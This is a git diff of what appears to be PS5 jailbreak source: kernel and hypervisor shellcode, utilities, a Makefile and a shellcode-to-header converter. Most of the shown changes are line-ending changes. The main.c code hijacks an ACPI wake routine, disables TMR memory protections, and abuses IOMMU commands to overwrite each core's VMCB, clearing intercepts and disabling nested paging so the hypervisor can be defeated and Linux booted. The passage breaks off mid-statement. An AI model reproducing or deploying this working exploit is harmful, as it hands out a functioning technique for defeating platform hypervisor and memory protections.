// Already relocated by Kernel shellcode - uint64_t linux_info_pa; // Already relocated by Kernel shellcode -} shellcode_hypervisor_args; \ No newline at end of file +// This file is shared between kernel shellcode and hypervisor shellcode + +#include + +typedef struct { + uint64_t bzimage_pa; // Already relocated by Kernel shellcode + uint64_t initrd_pa; // Already relocated by Kernel shellcode + uint64_t linux_info_pa; // Already relocated by Kernel shellcode +} shellcode_hypervisor_args; diff --git a/shellcode_hypervisor/utils.c b/shellcode_hypervisor/utils.c index 2d5c44c..89283f1 100644 --- a/shellcode_hypervisor/utils.c +++ b/shellcode_hypervisor/utils.c @@ -1,114 +1,114 @@ -#include "utils.h" -#include "shellcode_hypervisor_args.h" -#include - -extern shellcode_hypervisor_args args; - -__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint8_t tx_byte) { - volatile uint32_t *uart_tx = (volatile uint32_t *) 0xc1010104ULL; - volatile uint32_t *uart_busy = (volatile uint32_t *) 0xc101010cULL; - uint64_t timeout = 0xFFFFFFFF; - do { - timeout--; - if (timeout == 0) - break; - } while (((*uart_busy) & 0x20) == 0); - - if (timeout == 0) - return -1; - - *uart_tx = (uint32_t)tx_byte & 0xFF; - return 0; -} - -// Variable for val to hex -uint8_t hex_val[17]; - -__attribute__((noinline, optimize("O0"))) uint8_t * -u64_to_hex_custom(uint64_t val, uint8_t *dest) { - - const uint8_t hex_chars[] = "0123456789abcdef"; - dest[16] = '\0'; - - for (int i = 15; i >= 0; i--) { - dest[i] = hex_chars[val & 0xf]; - val >>= 4; - } - return dest; -} - -__attribute__((noinline, optimize("O0"))) int printf(const uint8_t *msg) { - uint32_t max = 255; - int ret = 0; - - for (int i = 0; i < 255; i++) { - if (msg[i] == '\0') { - break; - } - if (msg[i] == '\n') { - putc_uart('\r'); - } - ret = putc_uart(msg[i]); - } - - return ret; -} - -__attribute__((noinline, optimize("O0"))) void memcpy(void *dest, void *src, - uint64_t len) { - uint8_t *d = (uint8_t *)dest; - const uint8_t *s = (const uint8_t *)src; - for (uint64_t i = 0; i < len; i++) { - d[i] = s[i]; - } -} - -__attribute__((noinline, optimize("O0"))) char *strcpy(char *dest, - const char *src) { - char *d = dest; - while ((*d++ = *src++)) { - } - return dest; -} - -__attribute__((noinline, optimize("O0"))) void *memset(void *s, int c, - uint64_t n) { - unsigned char *p = (unsigned char *)s; - while (n--) { - *p++ = (unsigned char)c; - } - return s; -} - -void disable_intr(void) { __asm__ __volatile__("cli" : : : "memory"); } - -void halt(void) { __asm__ __volatile__("hlt"); } - -uint64_t rdmsr(uint32_t msr) { - uint32_t low, high; - __asm__ __volatile__("rdmsr" : "=a"(low), "=d"(high) : "c"(msr)); - return ((uint64_t)high << 32) | low; -} - -void wrmsr(uint32_t msr, uint64_t val) { - uint32_t low = val & 0xFFFFFFFF; - uint32_t high = val >> 32; - __asm__ __volatile__("wrmsr" : : "a"(low), "d"(high), "c"(msr)); -} - -// Map FreeBSD atomic_add_32 to GCC builtin -void atomic_add_32(volatile uint32_t *p, uint32_t v) { - __sync_fetch_and_add(p, v); -} - -// Map FreeBSD atomic_cmpset_32 to GCC builtin -int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src) { - return __sync_bool_compare_and_swap(dst, exp, src); -} - -uint8_t get_cpu(void) { - uint32_t eax, ebx, ecx, edx; - __get_cpuid(1, &eax, &ebx, &ecx, &edx); - uint8_t cpu_id = (ebx >> 24) & 0xFF; - return cpu_id; -} \ No newline at end of file +#include "utils.h" +#include "shellcode_hypervisor_args.h" +#include + +extern shellcode_hypervisor_args args; + +__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint8_t tx_byte) { + volatile uint32_t *uart_tx = (volatile uint32_t *)0xc1010104ULL; + volatile uint32_t *uart_busy = (volatile uint32_t *)0xc101010cULL; + uint64_t timeout = 0xFFFFFFFF; + do { + timeout--; + if (timeout == 0) + break; + } while (((*uart_busy) & 0x20) == 0); + + if (timeout == 0) + return -1; + + *uart_tx = (uint32_t)tx_byte & 0xFF; + return 0; +} + +// Variable for val to hex +uint8_t hex_val[17]; + +__attribute__((noinline, optimize("O0"))) uint8_t * +u64_to_hex_custom(uint64_t val, uint8_t *dest) { + + const uint8_t hex_chars[] = "0123456789abcdef"; + dest[16] = '\0'; + + for (int i = 15; i >= 0; i--) { + dest[i] = hex_chars[val & 0xf]; + val >>= 4; + } + return dest; +} + +__attribute__((noinline, optimize("O0"))) int printf(const uint8_t *msg) { + uint32_t max = 255; + int ret = 0; + + for (int i = 0; i < 255; i++) { + if (msg[i] == '\0') { + break; + } + if (msg[i] == '\n') { + putc_uart('\r'); + } + ret = putc_uart(msg[i]); + } + + return ret; +} + +__attribute__((noinline, optimize("O0"))) void memcpy(void *dest, void *src, + uint64_t len) { + uint8_t *d = (uint8_t *)dest; + const uint8_t *s = (const uint8_t *)src; + for (uint64_t i = 0; i < len; i++) { + d[i] = s[i]; + } +} + +__attribute__((noinline, optimize("O0"))) char *strcpy(char *dest, + const char *src) { + char *d = dest; + while ((*d++ = *src++)) { + } + return dest; +} + +__attribute__((noinline, optimize("O0"))) void *memset(void *s, int c, + uint64_t n) { + unsigned char *p = (unsigned char *)s; + while (n--) { + *p++ = (unsigned char)c; + } + return s; +} + +void disable_intr(void) { __asm__ __volatile__("cli" : : : "memory"); } + +void halt(void) { __asm__ __volatile__("hlt"); } + +uint64_t rdmsr(uint32_t msr) { + uint32_t low, high; + __asm__ __volatile__("rdmsr" : "=a"(low), "=d"(high) : "c"(msr)); + return ((uint64_t)high << 32) | low; +} + +void wrmsr(uint32_t msr, uint64_t val) { + uint32_t low = val & 0xFFFFFFFF; + uint32_t high = val >> 32; + __asm__ __volatile__("wrmsr" : : "a"(low), "d"(high), "c"(msr)); +} + +// Map FreeBSD atomic_add_32 to GCC builtin +void atomic_add_32(volatile uint32_t *p, uint32_t v) { + __sync_fetch_and_add(p, v); +} + +// Map FreeBSD atomic_cmpset_32 to GCC builtin +int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src) { + return __sync_bool_compare_and_swap(dst, exp, src); +} + +uint8_t get_cpu(void) { + uint32_t eax, ebx, ecx, edx; + __get_cpuid(1, &eax, &ebx, &ecx, &edx); + uint8_t cpu_id = (ebx >> 24) & 0xFF; + return cpu_id; +} diff --git a/shellcode_hypervisor/utils.h b/shellcode_hypervisor/utils.h index 0c25473..0b9b3e2 100644 --- a/shellcode_hypervisor/utils.h +++ b/shellcode_hypervisor/utils.h @@ -1,28 +1,28 @@ -#ifndef UTILS_H -#define UTILS_H - -#include - -uint32_t putc_uart(uint8_t tx_byte); -int printf(const uint8_t *msg); -uint8_t *u64_to_hex_custom(uint64_t val, uint8_t *dest); - -extern uint8_t hex_val[17]; - -inline int print_val64(uint64_t val) { - return printf(u64_to_hex_custom(val, hex_val)); -} - -void memcpy(void *dest, void *src, uint64_t len); -char *strcpy(char *dest, const char *src); -void *memset(void *s, int c, uint64_t n); - -void disable_intr(void); -void halt(void); -uint64_t rdmsr(uint32_t msr); -void wrmsr(uint32_t msr, uint64_t val); -void atomic_add_32(volatile uint32_t *p, uint32_t v); -int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src); -uint8_t get_cpu(void); - -#endif \ No newline at end of file +#ifndef UTILS_H +#define UTILS_H + +#include + +uint32_t putc_uart(uint8_t tx_byte); +int printf(const uint8_t *msg); +uint8_t *u64_to_hex_custom(uint64_t val, uint8_t *dest); + +extern uint8_t hex_val[17]; + +inline int print_val64(uint64_t val) { + return printf(u64_to_hex_custom(val, hex_val)); +} + +void memcpy(void *dest, void *src, uint64_t len); +char *strcpy(char *dest, const char *src); +void *memset(void *s, int c, uint64_t n); + +void disable_intr(void); +void halt(void); +uint64_t rdmsr(uint32_t msr); +void wrmsr(uint32_t msr, uint64_t val); +void atomic_add_32(volatile uint32_t *p, uint32_t v); +int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src); +uint8_t get_cpu(void); + +#endif diff --git a/shellcode_kernel/Makefile b/shellcode_kernel/Makefile index 828c588..e09f6ac 100644 --- a/shellcode_kernel/Makefile +++ b/shellcode_kernel/Makefile @@ -1,40 +1,40 @@ -ifndef PS5_PAYLOAD_SDK - PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/ -endif - - -ifeq ($(shell uname -m),aarch64) -CC = x86_64-linux-gnu-gcc -LD = x86_64-linux-gnu-ld -OBJCOPY = x86_64-linux-gnu-objcopy -else -CC = gcc -LD = ld -OBJCOPY = objcopy -endif -CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -m64 -I$(PS5_PAYLOAD_SDK)/target/include -LDFLAGS = -T linker.ld -TARGET = shellcode_kernel.elf -TEXT_BIN = shellcode_text.bin - -SRC = main.c utils.c kernel_code.c -OBJ = $(SRC:.c=.o) - -dump = shellcode_kernel.h - -all: $(dump) - -$(TARGET): $(OBJ) - $(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET) - -%.o: %.c - $(CC) $(CFLAGS) -c $< -o $@ - -$(TEXT_BIN): $(TARGET) - $(OBJCOPY) -O binary -j .text $(TARGET) $(TEXT_BIN) - -clean: - rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump) - -$(dump): $(TEXT_BIN) - python3 bin_to_c_kernel.py $(TEXT_BIN) \ No newline at end of file +ifndef PS5_PAYLOAD_SDK + PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/ +endif + + +ifeq ($(shell uname -m),aarch64) +CC = x86_64-linux-gnu-gcc +LD = x86_64-linux-gnu-ld +OBJCOPY = x86_64-linux-gnu-objcopy +else +CC = gcc +LD = ld +OBJCOPY = objcopy +endif +CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -m64 -I$(PS5_PAYLOAD_SDK)/target/include +LDFLAGS = -T linker.ld +TARGET = shellcode_kernel.elf +TEXT_BIN = shellcode_text.bin + +SRC = main.c utils.c kernel_code.c +OBJ = $(SRC:.c=.o) + +dump = shellcode_kernel.h + +all: $(dump) + +$(TARGET): $(OBJ) + $(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET) + +%.o: %.c + $(CC) $(CFLAGS) -c $< -o $@ + +$(TEXT_BIN): $(TARGET) + $(OBJCOPY) -O binary -j .text $(TARGET) $(TEXT_BIN) + +clean: + rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump) + +$(dump): $(TEXT_BIN) + python3 bin_to_c_kernel.py $(TEXT_BIN) diff --git a/shellcode_kernel/bin_to_c_kernel.py b/shellcode_kernel/bin_to_c_kernel.py index 9bf7e88..be19b7e 100644 --- a/shellcode_kernel/bin_to_c_kernel.py +++ b/shellcode_kernel/bin_to_c_kernel.py @@ -1,48 +1,48 @@ -import sys -import os - -def create_shellcode_header(input_file_text): - if not os.path.exists(input_file_text): - print(f"Error: {input_file_text} not found.") - return - - # Read binary data_text - with open(input_file_text, "rb") as f: - data_text = f.read() - - # Hardcoded output name - output_name = "shellcode_kernel.h" - array_name_text = "shellcode_kernel_text" - - with open(output_name, "w") as f: - f.write(f"// Generated from {input_file_text}\n") - f.write(f"#ifndef SHELLCODE_KERNEL_H\n") - f.write(f"#define SHELLCODE_KERNEL_H\n\n") - f.write(f"#include \n\n") - - f.write(f"#include \"shellcode_kernel_args.h\"\n\n") - - f.write(f"uint8_t {array_name_text}[] = {{\n ") - - for i, byte in enumerate(data_text): - f.write(f"0x{byte:02X}") - - if i < len(data_text) - 1: - f.write(", ") - - # New line every 12 bytes - if (i + 1) % 12 == 0: - f.write("\n ") - - f.write(f"\n}};\n\n") - f.write(f"uint64_t {array_name_text}_len = {len(data_text)};\n\n") - - f.write(f"#endif // SHELLCODE_KERNEL_H\n") - - print(f"Done! Created {output_name} ({len(data_text)} bytes)") - -if __name__ == "__main__": - if len(sys.argv) < 2: - print("Usage: python bin_to_c_kernel.py ") - else: - create_shellcode_header(sys.argv[1]) \ No newline at end of file +import sys +import os + +def create_shellcode_header(input_file_text): + if not os.path.exists(input_file_text): + print(f"Error: {input_file_text} not found.") + return + + # Read binary data_text + with open(input_file_text, "rb") as f: + data_text = f.read() + + # Hardcoded output name + output_name = "shellcode_kernel.h" + array_name_text = "shellcode_kernel_text" + + with open(output_name, "w") as f: + f.write(f"// Generated from {input_file_text}\n") + f.write(f"#ifndef SHELLCODE_KERNEL_H\n") + f.write(f"#define SHELLCODE_KERNEL_H\n\n") + f.write(f"#include \n\n") + + f.write(f"#include \"shellcode_kernel_args.h\"\n\n") + + f.write(f"uint8_t {array_name_text}[] = {{\n ") + + for i, byte in enumerate(data_text): + f.write(f"0x{byte:02X}") + + if i < len(data_text) - 1: + f.write(", ") + + # New line every 12 bytes + if (i + 1) % 12 == 0: + f.write("\n ") + + f.write(f"\n}};\n\n") + f.write(f"uint64_t {array_name_text}_len = {len(data_text)};\n\n") + + f.write(f"#endif // SHELLCODE_KERNEL_H\n") + + print(f"Done! Created {output_name} ({len(data_text)} bytes)") + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python bin_to_c_kernel.py ") + else: + create_shellcode_header(sys.argv[1]) diff --git a/shellcode_kernel/kernel_code.h b/shellcode_kernel/kernel_code.h index 5f72a62..ba0c49a 100644 --- a/shellcode_kernel/kernel_code.h +++ b/shellcode_kernel/kernel_code.h @@ -1,18 +1,18 @@ -#ifndef KERNEL_CODE_H -#define KERNEL_CODE_H - -#include - -#define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1)) - -static int dp_enable_link_phy(int lanenum, int linkrate); -static void patch_hv(void); -void boot_linux(void); - -extern int (*transmitter_control)(int cmd, void *control); -extern int (*mp3_initialize)(int vmid); -extern int (*mp3_invoke)(int cmd_id, void *req, void *rsp); - -extern uint64_t g_vbios; // for main.c - -#endif \ No newline at end of file +#ifndef KERNEL_CODE_H +#define KERNEL_CODE_H + +#include + +#define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1)) + +static int dp_enable_link_phy(int lanenum, int linkrate); +static void patch_hv(void); +void boot_linux(void); + +extern int (*transmitter_control)(int cmd, void *control); +extern int (*mp3_initialize)(int vmid); +extern int (*mp3_invoke)(int cmd_id, void *req, void *rsp); + +extern uint64_t g_vbios; // for main.c + +#endif diff --git a/shellcode_kernel/linker.ld b/shellcode_kernel/linker.ld index 269ff56..98598d4 100644 --- a/shellcode_kernel/linker.ld +++ b/shellcode_kernel/linker.ld @@ -1,18 +1,18 @@ -/* linker.ld */ -ENTRY(main) - -SECTIONS -{ - . = 0x1000; /* 0x1000 to avoid warnings from linker */ - .text : - { - *(.entry_point) - *(.text) - *(.text.*) - *(.data) - *(.data.*) - *(.rodata*) - *(.bss) - *(.bss.*) - } +/* linker.ld */ +ENTRY(main) + +SECTIONS +{ + . = 0x1000; /* 0x1000 to avoid warnings from linker */ + .text : + { + *(.entry_point) + *(.text) + *(.text.*) + *(.data) + *(.data.*) + *(.rodata*) + *(.bss) + *(.bss.*) + } } \ No newline at end of file diff --git a/shellcode_kernel/main.c b/shellcode_kernel/main.c index 909ea16..36857ab 100644 --- a/shellcode_kernel/main.c +++ b/shellcode_kernel/main.c @@ -1,290 +1,291 @@ -#include "main.h" -#include "kernel_code.h" -#include "utils.h" -#include - -#define MSR_EFER 0xC0000080 - -shellcode_kernel_args args = { - .fw_version = 0xDEADBEEF, .fun_printf = 0x0, .vmcb = {0}}; - -// We are being called instead of AcpiSetFirmwareWakingVector from -// acpi_wakeup_machdep -__attribute__((section(".entry_point"))) uint32_t main(uint64_t add1, - uint64_t add2) { - - // We will do main checks on .text only with a reference to .data to avoid - // fixed offsets first After NPTs are disabled, we can continue nornmally - // using all the variables in .data that are embedded in shellcode - volatile shellcode_kernel_args *args_ptr = - (volatile shellcode_kernel_args - *)0x11AA11AA11AA11AA; // To be replaced with proper address in .kdata - // by loader - - // "Hide" the pointer from the optimizer - __asm__ volatile("" : "+r"(args_ptr)); - - // We don't have required information - Abort - if ((args_ptr->fun_printf & 0xFFFF) == 0) { - goto out; - } - - // Activate UART on Kernel - uint32_t *uart_va = (uint32_t *)(args_ptr->dmap_base + 0xC0115110ULL); - *uart_va &= ~0x200; - uint32_t *override_char_va = (uint32_t *)args_ptr->kernel_uart_override; - *override_char_va = 0x0; - - uint64_t iommu_cb2_pa = - ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb2_va); - uint64_t iommu_cb3_pa = - ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb3_va); - uint64_t iommu_eb_pa = - ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_eb_va); - - uint64_t unk; - int n_devices; - - // Reconfigure IOMMU calling the HV - int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, - int *))args_ptr->fun_hv_iommu_set_buffers)( - iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t) &unk, &n_devices); - - if (ret != 0) { - putc_uart(args_ptr->dmap_base, 'I'); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'U'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 's'); - putc_uart(args_ptr->dmap_base, 'b'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'X'); - putc_uart(args_ptr->dmap_base, '\n'); - goto out; - } - - // Wait for completion - ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); - - if (ret == 0) { - - putc_uart(args_ptr->dmap_base, 'I'); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'U'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 's'); - putc_uart(args_ptr->dmap_base, 'b'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'K'); - putc_uart(args_ptr->dmap_base, '\n'); - - // Allow R/W on HV and Kernel area - if (tmr_disable(args_ptr->dmap_base)) { - - putc_uart(args_ptr->dmap_base, 'T'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'R'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'X'); - putc_uart(args_ptr->dmap_base, '\n'); - - goto out; - } - - putc_uart(args_ptr->dmap_base, 'T'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'R'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'K'); - putc_uart(args_ptr->dmap_base, '\n'); - - // Patch HV - patch_vmcb(args_ptr); - - putc_uart(args_ptr->dmap_base, 'V'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'C'); - putc_uart(args_ptr->dmap_base, 'B'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'K'); - putc_uart(args_ptr->dmap_base, '\n'); - - // Re-do this to force a VMEXIT without HV injecting faults - ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, - int *))args_ptr->fun_hv_iommu_set_buffers)( - iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t) &unk, &n_devices); - ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); - - putc_uart(args_ptr->dmap_base, 'B'); - putc_uart(args_ptr->dmap_base, 'a'); - putc_uart(args_ptr->dmap_base, 'c'); - putc_uart(args_ptr->dmap_base, 'k'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'f'); - putc_uart(args_ptr->dmap_base, 'r'); - putc_uart(args_ptr->dmap_base, 'o'); - putc_uart(args_ptr->dmap_base, 'm'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'H'); - putc_uart(args_ptr->dmap_base, 'V'); - putc_uart(args_ptr->dmap_base, '\n'); - - // We can now initiate the global args variable and use it, as NPTs are - // disabled - init_global_pointers(args_ptr); - - printf("HV_Defeat: we should be ready for Linux part\n"); - - boot_linux(); - printf("Linux prepared OK\n"); - - // Activate HV UART - Not really needed but good for debugging - // *(uint32_t*)PHYS_TO_DMAP(args.hv_uart_override_pa) = 0x0; - - printf("Calling smp_rendezvous to exit all cores to HV with ptr: %016lx\n", - (uint64_t)vmmcall_dummy); - printf("Good Bye VM :)\n"); - - smp_rendezvous(smp_no_rendevous_barrier, vmmcall_dummy, - smp_no_rendevous_barrier, NULL); - - printf("We shouldn't be here :(\n"); - } else { - putc_uart(args_ptr->dmap_base, 'I'); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'M'); - putc_uart(args_ptr->dmap_base, 'U'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 's'); - putc_uart(args_ptr->dmap_base, 'b'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'N'); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, ' '); - putc_uart(args_ptr->dmap_base, 'O'); - putc_uart(args_ptr->dmap_base, 'K'); - putc_uart(args_ptr->dmap_base, '\n'); - } - -out: - return 0; -} - -__attribute__((noinline, optimize("O0"), naked)) void vmmcall_dummy(void) { - __asm__ volatile("mov $0x1, %rax \n" - "vmmcall \n" - "ret \n"); -} - -void halt(void) { __asm__ __volatile__("hlt"); } - -// Submit a single 16-byte command and wait for completion -__attribute__((noinline, optimize("O0"))) void -iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) { - // Read the offset of current tail of command list - uint64_t curr_tail = *( - (uint64_t *)args_ptr->iommu_mmio_va + - IOMMU_MMIO_CB_TAIL / - 8); // Offset in IOMMU Command Buffer - Downscale the size of the ptr - uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & - IOMMU_CB_MASK; // Offset in IOMMU Command Buffer - - // We write the command in the current empty entry - uint64_t *cmd_buffer = - (uint64_t *)args_ptr->iommu_cb2_va + curr_tail / 8; // Downscale the size of the ptr - // Copy 0x10 bytes (CMD Size) - cmd_buffer[0] = cmd[0]; - cmd_buffer[1] = cmd[1]; - - __asm__ volatile("" : : : "memory"); // Prevent reordering - *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = - next_tail; // Indicate the IOMMU that there is a CMD - Downscale the size - // of the ptr - - // Wait CMD processing completion - Head will be the Tail - while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) != - *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8)) - ; -} - -// Write 8 bytes to a physical address using IOMMU completion wait store -__attribute__((noinline, optimize("O0"))) void -iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, uint64_t val) { - uint32_t cmd[4] = {0}; - cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05; - cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000; - cmd[2] = (uint32_t)(val); - cmd[3] = (uint32_t)(val >> 32); - iommu_submit_cmd(args_ptr, (uint64_t *)cmd); -} - -__attribute__((noinline, optimize("O0"))) void -patch_vmcb(volatile shellcode_kernel_args *args_ptr) { - for (int i = 0; i < 16; i++) { - uint64_t pa = args_ptr->vmcb[i]; - // args_ptr->fun_printf("Patching core: %02d VMCB_PA: 0x%016lx\n", i, - // args_ptr->vmcb[i]); - iommu_write8_pa(args_ptr, pa + 0x00, - 0x0000000000000000ULL); // Clear all intercepts (R/W) to - // CR0-CR15 and DR0-DR15 - iommu_write8_pa(args_ptr, pa + 0x08, - 0x0004000000000000ULL); // Clear all intercepts of except. - // vectors but CPUID - iommu_write8_pa(args_ptr, pa + 0x10, - 0x000000000000000FULL); // Clear all except VMMCALL, VMLOAD, - // VMSAVE, VMRUN - iommu_write8_pa(args_ptr, pa + 0x58, - 0x0000000000000001ULL); // Guest ASID ... 1 ? - iommu_write8_pa(args_ptr, pa + 0x90, - 0x0000000000000000ULL); // Disable NP_ENABLE - } -} - -__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap, - uint32_t addr) { - *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; - return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF); -} - -__attribute__((noinline, optimize("O0"))) void -tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) { - *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; - *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val; -} - -// On 1.xx and 2.xx the HV is embedded in kernel area on TMR 16 -// On 3.xx and 4.xx there are multiple TMR protecting HV and Kernel -__attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) { - for (int i = 0; i < 24; i++) { - if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { - tmr_write(dmap, TMR_CONFIG(i), 0); - if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { - return -1; - } - } - } - return 0; -} - -void init_global_pointers(volatile shellcode_kernel_args *args_ptr) { - - memcpy(&args, (void *)args_ptr, sizeof(args)); - - printf = (void (*)(const char *, ...)) args.fun_printf; - smp_rendezvous = (void (*)(void (*)(void), void (*)(void), - void (*)(void), void *)) args.fun_smp_rendezvous; - smp_no_rendevous_barrier = (void (*)(void)) args.fun_smp_no_rendevous_barrier; - - transmitter_control = (int (*) (int, void*)) args.fun_transmitter_control; - mp3_initialize = (int (*) (int)) args.fun_mp3_initialize; - mp3_invoke = (int (*) (int, void*, void*)) args.fun_mp3_invoke; - g_vbios = args.g_vbios; -} \ No newline at end of file +#include "main.h" +#include "kernel_code.h" +#include "utils.h" +#include + +#define MSR_EFER 0xC0000080 + +shellcode_kernel_args args = { + .fw_version = 0xDEADBEEF, .fun_printf = 0x0, .vmcb = {0}}; + +// We are being called instead of AcpiSetFirmwareWakingVector from +// acpi_wakeup_machdep +__attribute__((section(".entry_point"))) uint32_t main(uint64_t add1, + uint64_t add2) { + + // We will do main checks on .text only with a reference to .data to avoid + // fixed offsets first After NPTs are disabled, we can continue nornmally + // using all the variables in .data that are embedded in shellcode + volatile shellcode_kernel_args *args_ptr = + (volatile shellcode_kernel_args + *)0x11AA11AA11AA11AA; // To be replaced with proper address in .kdata + // by loader + + // "Hide" the pointer from the optimizer + __asm__ volatile("" : "+r"(args_ptr)); + + // We don't have required information - Abort + if ((args_ptr->fun_printf & 0xFFFF) == 0) { + goto out; + } + + // Activate UART on Kernel + uint32_t *uart_va = (uint32_t *)(args_ptr->dmap_base + 0xC0115110ULL); + *uart_va &= ~0x200; + uint32_t *override_char_va = (uint32_t *)args_ptr->kernel_uart_override; + *override_char_va = 0x0; + + uint64_t iommu_cb2_pa = + ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb2_va); + uint64_t iommu_cb3_pa = + ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb3_va); + uint64_t iommu_eb_pa = + ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_eb_va); + + uint64_t unk; + int n_devices; + + // Reconfigure IOMMU calling the HV + int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, + int *))args_ptr->fun_hv_iommu_set_buffers)( + iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices); + + if (ret != 0) { + putc_uart(args_ptr->dmap_base, 'I'); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'U'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 's'); + putc_uart(args_ptr->dmap_base, 'b'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'X'); + putc_uart(args_ptr->dmap_base, '\n'); + goto out; + } + + // Wait for completion + ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); + + if (ret == 0) { + + putc_uart(args_ptr->dmap_base, 'I'); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'U'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 's'); + putc_uart(args_ptr->dmap_base, 'b'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'K'); + putc_uart(args_ptr->dmap_base, '\n'); + + // Allow R/W on HV and Kernel area + if (tmr_disable(args_ptr->dmap_base)) { + + putc_uart(args_ptr->dmap_base, 'T'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'R'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'X'); + putc_uart(args_ptr->dmap_base, '\n'); + + goto out; + } + + putc_uart(args_ptr->dmap_base, 'T'); + putc_uart(args_ptr->dmap_base, 